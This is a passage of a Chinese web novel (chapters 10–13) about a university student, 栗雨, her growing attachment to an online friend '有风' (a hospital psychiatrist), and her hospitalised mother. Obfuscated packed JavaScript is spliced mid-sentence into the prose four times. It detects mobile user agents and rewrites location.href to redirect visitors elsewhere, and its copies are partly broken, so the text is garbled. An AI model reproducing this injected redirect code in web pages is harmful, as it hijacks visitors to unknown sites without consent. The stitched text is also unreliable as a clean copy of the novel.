她瞬时清醒过来,“有风”的质问让她尴尬不已,她开始后悔,这么问是不是有点冒昧了? 但是发都发了,不能退缩。 【pinkcloud:或许是朋友?】 【有风:嗯。】 这是认可了自己的回答? 栗雨悬着的心往下落了一点点。 【有风:那你可以不用称呼我为“您”。】 !!! 啊啊啊! 栗雨直接把脑袋埋在枕头里尖叫。 所以……他们现在是朋友了? 【pinkcloud:好的~】 栗雨的语气轻快起来,还加了波浪号。 【有风:今天不太方便,我在值班。明天我休息,给你打电话。】 打……打电话!!! 她没看错吧。 栗雨本来想的是只用听一个语言条就可以,“有风”竟然说要给她打电话?! 她觉得自己的心跳已经达到每分钟一百二十下了。 10. 听风 心跳一百二十下定律表明:栗雨心动了。 可喜欢一个人到底是什么感觉呢? 跟冯瑞分手之后,栗雨开始思考自己是否需要从小到大一直期盼的恋爱关系。 她得出的答案是:不需要。 因为恋爱意味着时间付出,而她想要完全掌控自己的生活。 她也不需要在恋爱关系里找到自己,成为自己。 她就是栗雨。 也只想做独一无二的栗雨。 …… 随着心率渐渐恢复到六十多,栗雨否认了“喜欢”这个答案。 “有风”只是短暂兴奋剂,总有失效的那天。 坚定了自己的想法之后,栗雨决定下床。刚在地面站稳,就感觉有一束阳光瞬间穿透了她的心脏。 光驱散了地面上的阴影,连同身体里的阴霾一起驱散了。 她微微仰着头,贪婪地汲取着新鲜空气。 西延市连续放晴了好几天,今天的最高温度直接飙升到二十度,栗雨洗漱完之后,决定出去走走。 去哪里好呢? 栗雨坐校车到校门口,不知道怎么就想起了“邂逅”。 她打开地图,发现书店离学校并不远。交通也很方便,门口就有地铁和公交。 栗雨没有犹豫,直接奔向了公交站牌。相比于地铁,她更喜欢坐公交,因为沿路可以欣赏到很多美景。 她再一次坐到了相同的位置,随后插上耳机。 仅仅过去十几天,枫叶已经掉落不少了。 栗雨下公交车的时候,忽然一阵风吹过,树叶发出簌簌的声音,视线所及处,正有几片叶子从空中缓缓飘落下来。 她今天穿的衣服是独属于秋天的棕色系——绿色小棉袄配棕色格子长裙,还戴了棕色的贝雷帽,妥妥的文艺复古风。马丁靴踩在落叶上,就像走进了画里。 栗雨推开门,目标明确地直奔吧台,今天收银的竟然还是上次见到的那个可爱小姑娘。 “姐姐,请问你需要点什么?” 栗雨朝她点点头,刚想说一句我先看看,就被身后传来的声音打断:“栗雨,好巧啊!” 她下意识转过头,竟然是周言熙。 虽然她跟他不算特别熟悉,但出于对同班同学的礼貌,她还是笑着点头说:“你好。” 小姑娘歪着头问:“哥哥,你认识这个漂亮姐姐?” 她眨了眨眼,眼睛圆溜溜的,看上去有些呆呆的可爱。 闻言,周言熙点头:“嗯,她是我同班同学。” 说完,走进去开始穿工作服。 听着两个人的对话,栗雨又仔细观察了一圈,发现他们长得确实有点像。 “这么巧啊。”小姑娘笑着对栗雨说,“姐姐千万不要客气,随便挑,我哥哥请姐姐吃早茶。” 栗雨有些不好意思,婉拒道:“不行不行。这怎么可以?” “怎么不可以?我哥哥最喜欢漂亮姐姐了。” 周言熙瞥了她一眼:“周言婧,别乱说。” 那个叫周言婧的小姑娘不服气的叉着腰:“怎么?我说的不对吗?” 周言熙轻轻拍了拍她的脑袋:“小小年纪,脑袋里没个正经。” “你居然欺负我!我要跟小叔叔告状。” 小叔叔? 栗雨一边听他们的对话,一边观察菜单。 她还在纠结吃什么。 她想喝焦糖玛奇朵。至于面包,她还没想好吃火腿肠芝士可颂还是蓝莓乳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938818|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酪贝果。 周言熙似乎有些害怕所谓的小叔叔,说道:“别以为你找到靠山就无所畏惧了。小叔叔在家休息呢,你的如意算盘落空了。” 话音刚落,门口的风铃声响了声。 见到来人,周言婧顿时喜笑颜开:“小叔叔,你来啦!” 栗雨转过身,却在看到来人的那张脸后惊住了。 竟然是他。 虽然她已经忘却那张脸具体的样子了,但它就像沉睡的记忆,再次显现之时,印象愈发深刻。 怔愣间,男人一步一步朝她走过来。 栗雨这次是真真切切感受到了身高的压迫,这男人怎么说也得一米八五以上。 她心跳加速。 他似乎并不记得她,视线没停留几秒就移开。 周言婧嘟着嘴告状:“小叔叔,我哥哥欺负我。” 旁边的周言熙一边萃咖啡一边翻白眼:“周言婧,你幼稚不幼稚?” 栗雨笑笑。 男人似乎对这个场面见怪不怪,淡淡道:“老样子。” “嗯。”周言婧点点头,问栗雨道,“姐姐,你需要点什么?” “我来一杯焦糖玛奇朵和一个火腿肠芝士可颂。” 话音一落,周言婧发出惊叹:“哇,姐姐,你居然跟我小叔叔喜欢的一样耶。” “火腿肠芝士可颂恰好还有两个,你跟小叔叔一人一个。” 这么巧吗? 栗雨瞥向旁边的人,以她的视角,只能看到男人冷淡的侧脸,还有他今天围着的一条很显眼的红色围巾。 然后,瞥到他手里的《加缪手记》。 是了,她突然想起来周言婧那天说小叔叔也有一套。 没想到竟然是他。 11. 听风 从前听人说,世界是个圆,一些注定相遇的人兜兜转转终究会在某个时刻,以一种意想不到的方式出现。 得知“有风”也在西延的感觉莫过于此。 这是栗雨第一次觉得“有风”回复的“嗯”字这么美妙,这么有温度。 栗雨回到寝室,盯着“嗯”这个字看了好一会儿,嘴角始终没下来过。 他那低沉有磁性,又如清风般澄澈的声音在耳边盘旋着,像藤蔓一样缠绕着她的心,突然猛得缩紧。她刹时脸红,不知怎么突然来了兴致,开始精心装饰自己的主页。 除了把一些不准确的信息都修改或删掉以外,还把动态重新整理了一遍,最后把目光停留在简介上。 栗雨托着下巴思考了一会儿,把简介也改成了六个字—— 等风来,待君归。 很有韵味的六个字。 她盯着这行字,简直越看越满意。 就是“有风”看到会不会误会? 但风又不是单单指的“有风”,更何况,她本来就很喜欢风。 栗雨如是劝慰自己。 再说了,就算“有风”误会了又能怎样?还能挑明她在暗恋他吗? 栗雨退出“绿洲”,看到手机上的提示才发现今天竟然是小雪,一个很美妙的节气。 与此同时,魏琪的声音从身后传来:“小雨,你怎么起这么早?” 栗雨转头,这才发现魏琪和江悦都醒了。 江悦一边伸懒腰,一边补充道:“一大早盯着手机笑得这么开心,不会又交新男朋友了吧?” “啊?没有。”栗雨连忙矢口否认道,她随意找了个借口,“我在看闺蜜给我发的搞笑小视频。” 她在心里道,闺蜜就是最好的挡箭牌,也不知道李乐馨同学这段时间怎么样了。 栗雨刚想发信息询问,没想到下一秒就收到她的消息。 【阿馨:发工资了。】 她还没来得及说一句恭喜,就收到了红包。 栗雨以为不多,毕竟朋友之间嘛,都几块十几块的,没想到一领,竟然有两百。 这哪里是发工资了?中彩票了吧。 【鲤鱼:你怎么发这么多?】 【阿馨:努力赚钱,包养闺蜜~~】 【鲤鱼:感恩的心.jpg】 闺蜜就是这个世界上最好的小天使,栗雨想。虽然不能完全理解彼此,但能无话不谈,是亲密无间的伙伴。 李乐馨约她下周六见面,栗雨欣然同意。 身旁突然传来一阵动静,虞沁说:“大家早啊。” 栗雨看向旁边的人:“沁沁,你也在?” 虞沁点头:“昨天复习太晚了,今天给自己放个假。” 魏琪道:“导师也放了我几天假,今晚我打算去后湖唱歌,大家一起去呗。” 栗雨道:“好啊。” 江悦笑嘻嘻地说:“我就不去了,我男朋友找我约会。” 闻言,其余三人啧啧而叹。 魏琪得意地笑:“这局终究还是我赢了。” 虞沁无奈摇了摇头:“这就是爱情吗?” “哎呀,你们知道的,他就是一个死缠烂打的癞皮狗,我也没办法的。”江悦笑嘻嘻地给自己找借口,末了,又连忙转移话题,“对了,小雨,阿姨最近怎么样了?我们几个打算明天去看看阿姨,不知道方便不方便?” 栗雨点头:“好啊。” 算来,她也该去医院了。 /// 后湖离西延师范大学并不远。 下午五六点的时候,三人肩并肩步行出发。 魏琪所在的社团是摇滚协会,经常组织社员在学校操场或者后湖唱歌。毕竟校园里的歌声就是青春最好的证件照。 临近傍晚,天空像是被厚涂上了一层浅灰调的色块。幸好,红彤彤的落日给大半边天染上了不一样的色彩,打破了浅灰色块的沉闷。 风不疾不徐地吹拂在脸颊上,介于冷和清爽之间,是属于初冬不一样的感觉。 虞沁和栗雨一起找个位置坐着。魏琪则背着吉他融入在场地准备的队友之间。 二人闲得无聊,开始讨论之前追的小说和电视剧。虞沁说自己已经忙到很久都没有追连载了,栗雨说她也是。 虞沁忽然往场地的方向看了一眼:“小雨,你看。” 栗雨转头。 不远处,一个男生正在帮魏琪摆音响和支架,嘴里嘀嘀咕咕似乎在说些什么,由于隔得太远,并不能听清,抱着吉他的魏琪看上去有点兴致缺缺。 看清楚男生是谁后,栗雨愣住:“周言熙?” “你认识他?” “他是我们同班同学。” 虞沁在她耳边说:“以我的直觉,他们两个十有八九有猫腻。” 栗雨表示赞同:“我也这么觉得。” 二人对视了一眼。 这就是小说党的奇妙直觉吗? 有人从身后拍了拍栗雨的肩膀,把她吓了一跳。紧接着,一道甜甜的声音传来:“姐姐,你也在?” 栗雨缓了口气,笑着跟她打招呼:“好巧啊,小妹妹。” “姐姐你还记得我吗?” 栗雨点头,一字一顿地叫出了她的名字:“周言婧。” 周言婧表示惊喜:“哇。你还记得我的名字呀,姐姐,你叫我婧婧就好啦~” “这是我小叔叔,你应该也记得吧。” 周言婧转身拉了拉身旁男人的手,栗雨这才注意到她旁边跟着的人。男人正襟危坐着,但很显然,他高大的身材跟狭小的台阶有些格格不入,看起来有些怪异。 不经意间,栗雨突然跟他对视。 竟然又见面了。 她要不要跟他打招呼?但他不一定记得她吧。就在不知道怎么办的时候,吉他音响起。 栗雨转过身坐好。 “大家好,祝大家有一个美妙的夜晚。” 话音一落,魏琪便开始唱歌。 第一首是丢火车乐队的《茶底世界》。 “生命中最善良的时光,就像是水一样明亮……” 不得不说,虽然魏琪平时看着挺文静,但嗓子还是挺狂野的,还带着些颤。她很有音乐天赋,唱歌很好听,很容易让人沉浸其中。 不知不觉间,观众席上的人越来越多了。还有不少人跟随着一起哼唱。 栗雨虽然也很喜欢唱歌,但对摇滚乐不太懂,只是安安静静地坐着,做个忠实的听客。 美好的时光总是过得那么快,不知不觉已经晚上九点了,最后唱到周杰伦的《等你下课》。这首歌是栗雨唯一会唱的,终于跟着一起唱起来。 夜空中繁星点点。 晚风把栗雨额前的刘海吹得凌乱,送来的却是密密麻麻的幸福感。 幸福得让人想情不自禁地流下眼泪。 栗雨有感而发,在“绿洲”上发了一条动态。 一张夜空图。 配文字:我喜欢夜晚的风。月亮.jpg 半分钟后收到了一条回复—— 有风:你因风而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948393|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 栗雨下意识回道:是心动。红心红心.jpg 她仰着头笑了笑,余光瞥见后边原本坐着的人不知道什么时候离开了。 一曲毕,掌声雷鸣。 人群渐渐散去,就像天空浮动着的云。 /// 不知道是不是因为“有风”的评论给栗雨的贴子增加了热度,她这几天涨了好几个粉丝,其中包括“有风”的忠实粉丝幸运鸭。 栗雨一回到寝室就收到了来自“幸运鸭”的私信,内容让她有点摸不着头脑。 【幸运鸭:小云朵,你也是有风的三次元朋友吗?】 也是? 难道幸运鸭是“有风”的三次元朋友? 栗雨回道。 【pinkcloud:不是。】 【幸运鸭:那很巧诶,我还是第一次见到男神主动给别人评论呢。】 是吗?那她还算是比较特殊的一个? 栗雨想。 她跟“幸运鸭”并不怎么熟悉,也不像她那样自来熟,并不知道该怎么回复。 栗雨开始挑选表情包,没料到她突然又问了一句。 【幸运鸭:你喜欢他吗?】 看到这句话,栗雨差点没被口水呛到。 喜欢,这两个字再次被提起,她的心竟然还是不可抑制地扑通扑通狂跳起来,像是要挣脱出胸腔。 栗雨问自己,真的喜欢“有风”吗? 不知道。 她不知道。 对“有风”的感觉,对那个男人似乎也有。 这样就算喜欢吗? 栗雨觉得心动并不等于喜欢。 她试图转移话题。 【pinkcloud:你跟他是三次元的朋友吗?】 【幸运鸭:算是,我跟他是同事。他在我们科室,那可是男神一样的存在。不仅人长得又高又帅,家里还很有钱。身边美女如云,能力也强,找他看病的人特别多。】 哇,听着旁人对“有风”的评价,栗雨不得不重新审视自己对“有风”的看法。 之前栗雨只以为他学历高而已。原来,“有风”是这么厉害的一个人。 而她只不过是一个很普通的211大学生罢了。 不论什么,他们都不是一个世界的人。 【幸运鸭:所以,喜欢上他也是一件很正常的事情啦。】 栗雨对此表示赞同。 她点进跟“有风”的对话框。 他们之间的对话还停留在昨天,她问他是不是也在西延。 他说是。 这是栗雨第一次觉得跟“有风”之间产生了交集,也是他们的唯一一次交集。 她不自觉地想找他聊天,在对话框里打字。但又不知道说什么话题,也不确定自己的语言是否妥当,于是又删除。 就在栗雨打算退出去的时候,对话框弹出来一个新消息。 【有风:?】 栗雨不明所以,也跟着回了一个。 【pinkcloud:?】 【有风:还有问题要问?】 栗雨愣住。 自始至终,应该是她自己多想了。 从“有风”的视角上看,她真的是单纯问问题的,仅此而已。 【pinkcloud:没有了。】 【pinkcloud:谢谢您,上次的问题我心中已经有答案了。】 然后,栗雨把自己列的学习计划表发给了“有风”。 他为她加油。 12. 听风 周日上午,四人一起打车到市医院。 她们到的时候,余婉如恰好醒着,只不过还是没有完全恢复意识,双目无神,只是瞪着眼睛左看看右看看。 栗雨喊她,她也没什么反应。 魏琪把她们买的水果递给栗平康。 栗平康笑着接过:“好孩子,过来还带什么东西?” 虞沁说:“应该的叔叔,您也照顾好身体。” 栗雨站在床边,握住妈妈的手,看着妈妈日益消瘦的身体,觉得心疼极了。 江悦抱了抱她:“小雨别难过,你妈妈吉人自有天相,肯定会越来越好的。” “好。” 上午九点到十点,医生都会来查一次房。病房里不能站太多人,她们四个便一起出来。 刚出门口,恰好见到医生过来。 江悦见到领队的主治医生,惊讶道:“时叔叔,您在这家医院工作?” 时宴安点头,看了看旁边的人。 江悦连忙介绍道:“这些都是我室友。” “里边的42床是我室友的妈妈。” 医生查完房,栗平康让她们回学校。 他劝栗雨道:“小雨,医生说了,这种病得耐心等待。现在谁也拿不准你妈妈究竟什么时候才能醒来。咱们给她最好的治疗,剩下的就交给时间。” “你快跟室友一起回学校吧。” “嗯。”栗雨点头,“爸,你也好好休息。” 电梯里,栗雨问江悦:“悦悦,你认识我妈妈的主治医生吗?” “只是见过。”江悦说,“他是我男朋友的朋友的爸爸。” 栗雨点头。 她看向络绎不绝的车辆和人群。 原来“疾病”是人活在世上,必须面对的课题。 /// 临近期末考试,栗雨开始渐渐地把重心移到学习上来。她的生活状态也在慢慢恢复,一边准备考试,一边复习考研,游刃有余,效率也随之提高不少。 偶尔心情不好时,栗雨就在“绿洲”分享自己的日常。她渐渐打开自己,不再怕别人是否能轻易窥探到她的隐私。看到粉丝和主页的浏览量越来越多,栗雨的第一感受竟然是释怀。 “有风”总是会评论她的动态,她也每次都会回复,然后情不自禁地跟他分享有关自己的成长与进步。 她开始在聊天的过程中沉浸,放下戒备,交出自己,连她自己也没有发觉。 “有风”回复得总是很恰到好处,很有分寸。 不多问,只答疑。 他们之间保持着某种奇妙的特殊联系,但又有种说不上来的距离感。彼此互相看清但中间始终隔着一层玻璃,这让栗雨觉得有些怪怪的。 尽管如此,她还是觉得跟“有风”的聊天很上瘾,像余韵无穷的陈年美酒,令人着迷,回味无穷。 可着迷意味着全神贯注,意味着疯狂,意味着危险。 她不止一次想控制自己,从这种状态中抽离出来。她尝试对有风“祛魅”,让他不再这么神圣化,可每次的后果都是让自己越陷越深。 仅仅五天时间,栗雨觉得自己真的陷进去了。周五上午,她醒来之后的第一件事竟然就是打开“绿洲”与他的聊天框。 “有风”是一种毒药。 她中毒已深,已经无药可救。 阿兰德波顿《爱情笔记》里有一段话:“她成为了‘一种为了吸引对方而去迎合心上人的需求的自我’。为了迎合他,她分裂成两半,一半是真实的,一半是虚假的,她就这样在沉沦与清醒的边界,犹豫不定。” 她控制不住自己,分裂出了一半故意迎合他的“自我”,哪怕今天还没发动态,还没跟“有风”聊天,也真的没有什么话题,她也要强迫自己寻找并开启一个话题。 若是“有风”不能准时回复,她就在学习的同时把手机打开放在一边。她很耐心地等待。 只是这个“自我”她并不喜欢。 …… /// 跟李乐馨的见面定在周六上午十一点。 栗雨简单涂了个气垫,拎着帆布包准时抵达她们约定好的餐厅。 李乐馨见到她激动地跳起来招手:“小雨小雨!这里。” 栗雨快步走过去。 李乐馨扑在她怀里撒娇:“小雨,想你了~” 栗雨被她的过分热情弄得有些局促不安,尽管她们已经认识许多年了,但是在直白表达情感方面,栗雨还是个仍待进修的小学生。 她愣在原地,说了声:“我也是。” 二人面对面坐好。 李乐馨满眼期待地把菜单推给栗雨:“快看看想吃什么?别客气,我请客。” 栗雨看了眼菜单,原来这家餐厅也叫做“绿洲Oasis”。 她大概浏览了一下,发现菜单上的菜品都很想尝试,最终说了一个不容易踩雷的:“金枪鱼牛油果拌饭,你呢?” “就点这一个吗?”李乐馨嘟嘟嘴,一口气报了好几道菜名,“泰式酸辣大虾意面,天妇罗炸鱼,巴西莓冷萃,谢谢。” 李乐馨抿了一口茶,对栗雨说:“说说吧,最近怎么样?” 栗雨神情忽然变得认真起来:“阿馨,我好像喜欢上了一个人。” 闻言,李乐馨忽然被呛到,连续咳了好几声:“什么?” “我记得你不是有男朋友吗?” 栗雨淡淡道:“分了。” 李乐馨佯嗔道:“栗小雨,分手这么重要的事竟然不跟我说?你闺蜜好歹是健过身的,一拳帮你干掉一个渣男,好吗?” 栗雨说:“这不是怕打扰你。毕竟你工作这么辛苦。” 李乐馨似乎真的有被栗雨气道,连续喝了好几口水:“有时候真的很想看看你脑袋里都装着什么东西。” 栗雨笑着点头道:“认真地说,我也想。” “那现在这个呢?” “目前算是网友。” 李乐馨一噎:“栗小雨,都什么年代了还搞网恋?” “不是。我也不确定自己是不是喜欢他。” 转眼间,菜已经上齐。 栗雨吃了一口拌饭,说:“那你说喜欢究竟是什么感觉呢?” “什么感觉我不知道。但我知道,健康的恋爱关系就是双方一起成为更好的自己。”李乐馨问道,“那你说说,你对他是什么感觉?” 栗雨停下来思考了一会儿,认真地说:“期望他的动态,他的评论和他的回复。跟他交流会很开心,觉得自己学到了很多。” 李乐馨笃定道:“听你这么说,八成喜欢上了。” “真的吗?”栗雨还是给不了一个肯定的答案,“但是,我对其他男生也会有心动的感觉耶。就比如,我那天在公交车站遇到的男人,我见到他也会心动。” “这两种心动是不一样的,一个来自内在,一个来自外在。对方能够吸引你肯定有他的过人之处。就看你觉得哪个更吸引你了,或者谁有能力能吸引你更久。”李乐馨忽然严肃起来,“不过小雨,你们毕竟只是网友,网恋还是很不靠谱的,万一对方长得很丑。再者,他哪天跑路了你都不知道该找谁哭。” 有道理。 这个问题她不是没有想过,甚至经常会害怕“有风”哪天会突然消失。毕竟他们只是网友,对面的“有风”是虚拟的。他们之间唯一的联系就是网络,某天账号没了,所有的一切都将不复存在。 哪怕只有万分之一的概率,这种局促不安也会慢慢放大,甚至将她吞噬。 她不敢赌,让自己彻底喜欢上一个“无形”的“有风”,更别提“无形”的“有风”也恰好喜欢她了。 /// 一进入十二月, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948394|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西延市彻底进入了冬天。 许是冷风将栗雨的心逐渐冰冻,她开始控制自己,尽量少发动态,少跟“有风”聊天。 她发现,一旦她停止做这些事,“有风”这个人好像就消失了一样,不再上线,没有动态。 跟他的聊天框也像沉寂的大海,没有一丝风浪。 可这么做真的正确吗? 栗雨开始怀疑“自我”。 一旦她陷入怀疑,就会因之痛苦。 这么辗转反侧好几天,她又陷入失眠且重度糟糕的状态。 星期四晚上再度睁眼到凌晨一点之后,栗雨实在忍受不了,决定将自己的状态如实相告。 一个小时后,她收到了“有风”的回信。 【有风:戒断反应比一直按心走下去更可怕。】 栗雨似懂非懂。 【pinkcloud:有点明白又不太明白。】 【有风:我就在这里,你什么时候都可以来找我。】 这话是不是有点过于暧昧了?栗雨想。 不过,他究竟是什么意思? 栗雨伸出了试探的脚步。 【pinkcloud:只要我想吗?】 【有风:只要你想。】 栗雨终于成功被逗笑。 要是她早点来找他,跟他说明情况就好了,也不至于自己胡思乱想这么多天。 这个想法冒出来时,栗雨吓了一大跳。 原来,她已经这么依赖他了吗? 不知道是什么给她一种他们在谈恋爱的错觉。栗雨不自觉嘟着嘴,如果“有风”在她对面的话,她肯定已经像个怨妇一样抱着他轻声咕哝着撒娇了。 【pinkcloud:可是你有一百多万粉丝诶~我只是分母,肯定有很多粉丝私信你,我怎么知道你能不能雨露均沾?】 栗雨灵感大爆发,文艺细胞开始作祟。 【pinkcloud:跟你聊天就是场赌注,我没有筹码,更没有自信,我很怕输。】 【有风:我赌你赢。】 看到他的答案,栗雨瞪大双眼。几乎同时,“绿洲”上方发出提示—— “有风”回关了你。 栗雨目瞪口呆,退出聊天框,发现她的粉丝列表果然多了一个小红点。那么刺眼的“+1”就点缀在粉丝数字那里,前几天的“+99”都没让她这么震惊过。 栗雨点进他的主页。 啊啊啊啊啊啊! 她竟然也变成了“有风”的列表唯一关注! 如果她没有记错的话,这还是“有风”注册“绿洲”以来第一次关注别人吧。 竟然是她。 没想到会是她! 栗雨心里仿佛有一只小精灵在满地打滚。 原来,跟“有风”聊天这么快乐。 原来,他竟然这么轻而易举地把她从消沉的状态中拉出来。 原来,这个世界上真的有这么一类人。 看着他们,就好像自己在照镜子。 跟他们聊天,就好像在跟内心深处的自己对话,但又莫名其妙地发现了那个戴着面具的自己。 心情像在大海里来回跳跃的蓝鲸。 躁动不安着。 满怀期待着。 …… 栗雨想问问他为什么,究竟为什么要这么回答她,是不是也对她有感觉。但是现在她还不敢这么做,于是她选择继续“为难”他。 【pinkcloud:那我又没见过你,万一你销号跑路了怎么办?】 发送成功之后,栗雨一边抠手指,一边想象他的回复。对于自己如此得寸进尺的问题,栗雨觉得大概率是会被“有风”泼冷水的。 但很快,她得到了那个最令人意想不到的答案。 【有风:如果你愿意,我们可以见面。】 13. 听风 如果你愿意,我们可以见面…… 栗雨盯着这个意想不到的答案出神,可更令人意想不到的竟然是她内心的回答。 愿意。 我愿意。 但她嘴里却想说出违心的话,不愿意直面自己的内心。 【pinkcloud:我可以先拒绝吗?】 这下变成“有风”为难她了。 【有风:理由。】 栗雨纠结了一会儿。 【pinkcloud:我是社恐。】 【有风:嗯。】 这么淡定? 栗雨有被伤害到自尊心。 【pinkcloud:你就不好奇?】 【有风:我认为我们会见面的。】 很神奇。 这次看到“有风”说这种没来由笃定的话,栗雨的第一反应竟然是相信。她甚至都没考虑到,万一“有风”是骗子怎么办? 【pinkcloud:这么笃定?】 【有风:事情的发生总有一定的道理。】 【pinkcloud:可是我真的不敢。现实的我会比较笨拙。】 【有风:我会给你添加点色彩。】 一来一回的对话,棋逢对手的感觉。 栗雨再次被逗乐。 /// 跟“有风”聊天之后,栗雨似乎特别容易找到自己理想中的状态。 接下来的两周,她一心扑在学业上,顺利熬过了几门又难又复杂的专业课期末考试。 直到平安夜那天,她考完当天的考试,晚上梦见了余婉如,又恰好赶上生理期,情绪直接崩溃,从梦中哭醒。 栗雨打开手机看时间,才刚凌晨五点。她翻了个身体,闭上眼睛想再睡一会儿。毕竟白天她给自己安排了任务,如果休息不好就会心情低落,效率低下,她不喜欢这样的自己。 可不知道为什么,那种熟悉的虚无感再次汹涌而来,将她包裹。直到天亮,栗雨还是没有睡着。 她想寻求解决的办法,下意识拿起手机跟“有风”倾诉这件事。 【pinkcloud:你会有烦恼吗?】 “有风”这些天的回复都很及时。 【有风:人活在世上,怎么可能没有?】 【pinkcloud:有时候,我总是莫名的不快乐。】 【有风:因为什么?不快乐总要有根源。】 栗雨终于把余婉如这件事如实相告,这还是她第一次这么直白地跟“有风”分享有关她现实中的事。 本以为“有风”会像其他人一样给她安慰,心疼地抱抱她,说一切都会好起来的,没想到,他非但没有这么做,甚至听完异常平静,心情没有丝毫波澜。他回复的文字反映了他的心理状态。 【有风:这是命运,只能坦然接受,且无力改变。】 【有风:有些人注定在你生命中的某些时刻缺席。】 栗雨看到这几句回复,脑子里冒出一串问号。 “有风”知道自己在说什么吗? 他凭什么这么说? 栗雨感觉到一种没来由的愤怒。 她从不相信所谓命运!况且,余婉如还这么年轻,凭什么现在就这么躺在病床上了,她不允许! 她还没来得及跟余婉如一起度过很多次美妙的二人世界……为什么要对她这么残忍?! 栗雨生气地把手机撂到桌子上。 她试图深呼几口气让自己冷静下来,没想到却越想越气。这还是她第一次在“有风”这里,体会到喘不上来气的愤怒。 哪怕在外人看来,“有风”的回复仍是如此平常。 但栗雨就是嘴硬且倔强,一旦被触碰到逆鳞就会大发雷霆,尤其是在状态不好的时候,做事也横冲直撞,不计后果。 这让她下意识忽略“有风”的第三句话—— 【有风:至于你生命中该遇见的人也会在既定的时间如期到场。】 栗雨直接拿起手机打字,想到什么说什么。 【pinkcloud:不可能!】 【pinkcloud:你凭什么这么说?】 【pinkcloud:凭什么是注定?我不相信命。】 【有风:这又是你哪个“自我”?】 哪怕被“有风”毫不留情地揭露,栗雨不承认,还是想辩驳一番,不争个输赢,决不罢休。 她生来就是鹰,翱翔在天空之上,即使已经被折断羽翼,跌落在地,也会仰着头怒目瞪着捕猎者,告诉他,我绝不认输。 她的语言渐渐带刺,伤害别人的同时也把自己弄得遍体鳞伤。 【pinkcloud:你没有感情吗?】 【pinkcloud:原来你是这么冷血的一个人。从前是我看错你了。】 说完之后,栗雨心里一阵爽快。 “有风”没有辩解。 或许他已经哑口无言,说不出任何辩解的话了,也或许他知道自己理亏。 不论什么原因,都再跟栗雨无关。 关掉“绿洲”,栗雨还是觉得气不打一处来,她强迫自己学习,却根本没什么心情。 手机仍没有任何来自“绿洲”的消息通知。栗雨心想,“有风”明明知道自己生气了,竟然不来哄她。原来她的情绪在他心里就这么不重要,这么无所谓。 那……凭什么她的情绪要受到他的影响?! 栗雨放下书,换好衣服,在楼下扫了个共享单车。她一边骑一边咬着嘴唇告诉自己,“有风”算个什么?他根本不重要。凭什么自己要因为他心情大起大落的? 既然“有风”认为她不重要,那她也要把跟“有风”的聊天当成游戏。 而她栗雨的字典里怎么会有认输这两个字?! 栗雨咬咬牙。 等着吧。 有风。 我们的游戏才刚刚开始,这是一场心理博弈,谁输谁赢还不一定呢?总有一天,我一定会痛痛快快地赢你,然后得到我想要的一切。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952499|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >/// 西延第一医院,心理科。 虽然早就料到有这么一天,但这样的“粉色云朵”还真让他有些不习惯。 时有风放下手机,捏了捏眉心。 忽然听到敲门声,他说了声:“请进。” 来人是他的助理何幸:“时医生,这有个治疗方案需要您签个字。” “嗯。”时有风接过方案,仔细翻看确认无误之后,大手一挥写下自己的名字。 就在何幸准备转身离开的时候,被时有风叫住。 “等等。” 何幸愣住,转过身问:“时医生,还有什么事吗?” 时有风不解地问道:“我冷血么?” “啊?”一开始何幸完全没有反应过来,后来才点点头说,“是有点冷。” 说完,她连忙一溜烟溜走,将时有风那张阴沉得要结冰的脸隔离在视线之外。 她跑出去,跟值班的同事讨论起来:“你们有没有觉得时医生最近有点不对劲?” 一听时医生,同事们都亮起眼睛:“怎么说?” “我刚刚找他签字,他居然问我他冷不冷血?”何幸一副看破天机的样子,“依我看,八成是谈恋爱了,被女朋友嫌弃了。” 几个人聊得正起劲,时有风忽然面无表情地从几人身边经过,吓得何幸赶紧闭嘴。 转眼已经到下班时间,时有风刚坐进车里就接到一通电话。 他把蓝牙耳机塞好:“喂。” 电话那头传来一阵冷冷的女声:“儿子,元旦放假去看看你奶奶。” “嗯,我知道了。” 话音一落,通话已经被挂断。 